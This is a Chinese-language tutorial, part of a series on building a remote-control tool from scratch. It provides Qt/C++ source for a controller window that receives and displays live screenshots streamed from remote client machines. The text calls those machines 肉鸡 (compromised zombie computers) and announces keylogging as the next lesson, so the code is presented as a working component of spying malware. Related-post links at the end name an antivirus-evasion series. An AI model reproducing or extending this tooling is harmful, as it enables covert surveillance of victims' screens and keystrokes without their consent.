从零开始做远控 第六篇 屏幕监控
如果你从没看过这系列教程请点击:从零开始做远控 简介篇
屏幕监控:
这一节我们是完成屏幕监控的最后一部分,就是在服务端里发送指令,然后从客户端不断获取屏幕截图数据,画到窗口上,形成实时监控。
晒下效果图:
ScreenSpy类:
1.首先我们要在ZeroServer项目里创建一个基于QWidget的类。
2.启动新的服务端,专门监控屏幕.
3.定义数据包头,可以从上一节复制过来。
// 数据头
typedef struct {unsigned int len; // jpg文件大小
} ScreenSpyHeader;
4.屏幕截图数据读取和打印在窗口上
void ScreenSpy::processBuffer()
{QByteArray *buf = mSock->buffer();while((unsigned int)buf->size() >= sizeof(ScreenSpyHeader)) {// 读取头if (mScreenLen == 0) {if ((unsigned int)buf->size() >= sizeof(ScreenSpyHeader)) {ScreenSpyHeader header;memcpy(&header, buf->data(), sizeof(ScreenSpyHeader));buf->remove(0, sizeof(ScreenSpyHeader));// 设置图片数据mScreenLen = header.len;} else {break;}}// 读取JPG图片if (mScreenLen > 0){if ((unsigned int)buf->size() >= mScreenLen) {// 保存新图片mScreenPixmap.loadFromData((unsigned char*)buf->data(), mScreenLen);// 显示图片mScreenLabel->setPixmap(mScreenPixmap);// 擦除数据buf->remove(0, mScreenLen);mScreenLen = 0;} else {break;}}}
}
代码
ScreenSpy.h
/** Author: sumkee911@gmail.com* Date: 2016-12-21* Brief: 从客户端接收屏幕图片数据,然后画在窗口上**/#ifndef SCREENSPY_H
#define SCREENSPY_H#include <QWidget>
#include <tcpsocket.h>
#include <tcpserver.h>
#include <QApplication>
#include <QDesktopWidget>
#include <QPixmap>
#include <QLabel>class ScreenSpy : public QWidget
{Q_OBJECT
public:explicit ScreenSpy( QWidget *parent = 0);// 数据头typedef struct {unsigned int len; // jpg文件大小} ScreenSpyHeader;// 开始监控服务器,然后返回新的端口号int startScreenSpyServer(QString userName);private:QLabel *mScreenLabel; // 用来显示图片TcpServer *mServer; // 屏幕监控服务端TcpSocket *mSock; // 屏幕监控客户端QPixmap mScreenPixmap; // 当前屏幕截图unsigned int mScreenLen; // JPG图片大小signals:public slots:// 有新客户连接void newConnection(QTcpSocket *s);// 处理新数据void processBuffer();protected:// 大小重置void resizeEvent(QResizeEvent *);// 关闭void closeEvent(QCloseEvent *);
};#endif // SCREENSPY_H
ScreenSpy.cpp
#include "screenspy.h"
ScreenSpy::ScreenSpy( QWidget *parent) :QWidget(parent), mScreenLen(0)
{// 初始化窗口const int w = 800, h = 450;const int x = (QApplication::desktop()->width() - w) >> 1;const int y = (QApplication::desktop()->height() - h) >> 1;this->setGeometry(x, y, w, h);// 图片labelmScreenLabel = new QLabel(this);mScreenLabel->setGeometry(0,0, w, h);mScreenLabel->setScaledContents(true);
}
int ScreenSpy::startScreenSpyServer(QString userName)
{// 设置窗口标题this->setWindowTitle(userName.append("-屏幕监控"));// 开启新的服务端mServer = new TcpServer(this);connect(mServer,SIGNAL(newConnection(QTcpSocket*)), this,SLOT(newConnection(QTcpSocket*)));mServer->start(0);if (!mServer->server()->isListening()) {qDebug() << "开启屏幕监控服务端失败";deleteLater();return -1;}// 开启监控窗口this->show();return mServer->server()->serverPort();
}
void ScreenSpy::newConnection(QTcpSocket *s)
{// 新增客户mSock = new TcpSocket(s, this);connect(mSock,SIGNAL(newData()), this, SLOT(processBuffer()));connect(mSock, SIGNAL(disconnected()), this, SLOT(deleteLater()));// 不再监听新客户mServer->server()->close();
}
void ScreenSpy::processBuffer()
{QByteArray *buf = mSock->buffer();while((unsigned int)buf->size() >= sizeof(ScreenSpyHeader)) {// 读取头if (mScreenLen == 0) {if ((unsigned int)buf->size() >= sizeof(ScreenSpyHeader)) {ScreenSpyHeader header;memcpy(&header, buf->data(), sizeof(ScreenSpyHeader));buf->remove(0, sizeof(ScreenSpyHeader));// 设置图片数据mScreenLen = header.len;} else {break;}}// 读取JPG图片if (mScreenLen > 0){if ((unsigned int)buf->size() >= mScreenLen) {// 保存新图片mScreenPixmap.loadFromData((unsigned char*)buf->data(), mScreenLen);// 显示图片mScreenLabel->setPixmap(mScreenPixmap);// 擦除数据buf->remove(0, mScreenLen);mScreenLen = 0;} else {break;}}}
}
void ScreenSpy::resizeEvent(QResizeEvent *)
{// 重设mScreenLabel大小mScreenLabel->setGeometry(0,0,width(), height());
}
void ScreenSpy::closeEvent(QCloseEvent *)
{// 删除窗口deleteLater();
}
6.子ZeroClient类里增加新的公有函数sendScreenSpy()。
void ZeroClient::sendScreenSpy(int port)
{QString data;data.append(CmdScreenSpy+CmdSplit);data.append("PORT"+CmdSplit+QString::number(port));data.append(CmdEnd);mSock->write(data.toLocal8Bit());
}
7.修改Widget类里的screenSpyClicked()。
void Widget::screenSpyClicked()
{int id = currentClientIdFromTable();if (id != -1) {ScreenSpy *ss = new ScreenSpy();ZeroClient *client = mZeroServer->client(id);int port = ss->startScreenSpyServer(QString::number(id));// 开始监控client->sendScreenSpy(port);}
}
本节总结:
我们已经完成了屏幕监控了,现在可以用眼睛监视你的肉鸡了。下一节我会跟大家讲键盘监控。
本节完整代码:
对上节作出的修改:
1.ZeroServer项目里TcpSocket构造函数增加一行connect(mSock, SIGNAL(disconnected()), this, SLOT(deleteLater()))。
2.ZeroServer项目里TcpSocket::close()增加一行mSock->disconnectFromHost()。
下载完整代码
从零开始做远控 第六篇 屏幕监控相关推荐
- 从零开始做远控 第五篇 屏幕监控
如果你从没看过这系列教程请点击:从零开始做远控 简介篇 屏幕监控: 我们来到进阶课程了,我们这一节主要是讲客户端的,我们将会编写从客户端截取屏幕,然后用JEPG压缩它,最后发给服务端,形成一个动态画面 ...
- 从零开始做远控 簡介篇 做一个属于你自己的远控
做一个属于你自己的远控: 先对大家说句抱歉,上次答应带大家一起做远控但因为我的个人原因让课程中途断了,这次我答应大家一定要把这教程完成.你在看着课程之前你必须掌握c/c++,qt,win32 api. ...
- 关于远控软件导致windows屏幕亮度无法调节的解决方法
原因是远控软件为了实现"远程操控时黑屏",更新了监视器驱动程序,直接把亮度调节功能给劫持了 比如: TeamViewer会把监视器驱动覆盖为PnP-Monitor(Standard ...
- 使用AnyDesk做远控
简介 AnyDesk是类似teamviewer的远程桌面管理软件,但是它不用安装,而且体积比较小只有2.84MB 使用场景举例 有云锁,护卫神等禁止3389登录时 类似阿里云这种,登录3389会报警 ...
- Eric6与pyqt5学习笔记13 【实战4 打造局域网远控软件】
已经去集训营安心准备考研了,这两天回校参加夏令营,顺便把之前3天课设做的一个小软件写个博客分享下~ 不知道有没有也是今年考研的研友呢,祝大家都能考上理想的研究生!!! 远控软件思路 远控软件基本功能我 ...
- 远控免杀从入门到实践(1):基础篇
郑重声明 1.文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! 2.文中提到的杀软检测指标是 virustotal.com(简称 ...
- 远控免杀专题(67)-白名单(113个)总结篇
关于白名单程序 相信大家对白名单程序利用的手法也已经非常熟悉了,白名单程序利用其实是起源于LOLBins,全称"Living-Off-the-Land Binaries",直白翻译 ...
- 【数分书单】业务学习《从零开始做运营入门篇》第一/二/三章小结
<从零开始做运营入门篇>by 张亮 第一章 关于运营的一些实话实说 1 苦逼的运营产品两兄弟 运营需要积累,实力的积累,经验的积累,对用户了解程度的积累,对数据敏感程度的积累:长期磨练出 ...
- 远控免杀从入门到实践(6)-代码篇-Powershell
郑重声明:文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! <远控免杀从入门到实践>系列文章目录: 1.远控免杀从 ...
- 远控免杀从入门到实践(5)-代码篇-Python
郑重声明:文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! <远控免杀从入门到实践>系列文章目录: 1.远控免杀从 ...
最新文章
- jquery-12 折叠面板如何实现(两种方法)
- VMware9.0安装Ubuntu出现Software virtualization is incompatible 问题的解决
- 导致大量kworker的原因_头上白发越长越多,原因有哪些?
- shell 下使用 echo 打印彩色字体及彩色背景
- python如何实现通知_ExASIC: 用python实现一个通知机器人
- 【PTA天梯赛CCCC -2017决赛L1-6 】整除光棍 (20 分)(大数模拟除法)
- 阿里云服务器——centos7下源码安装tomcat9
- 为什么你的店铺不赚钱?
- 推荐系统常用推荐系统算法(协同过滤算法等)-人工智能AI
- sqlserver Month()函数取日期不足两位的加 0(转载)
- 8个深度学习/计算机视觉错误,应该如何避免它们
- HTML5基础与Meta http-equiv属性详解
- 在Android中绘制圆角矩形图片
- vue 判断字符串是否是英文_vue rules以及原生js判断字符串是否为正整数(正小数)...
- ROSCon2018国际会议讲座录像和讲稿PPT
- 360安全卫士造成网站不能访问的解决办法
- 第三章 - 有穷自动机与词法分析(二)
- 1 个方法提升 3 倍执行力
- solidty实现默克尔树空投
- Google Doc 更新一个文档 替换多个变量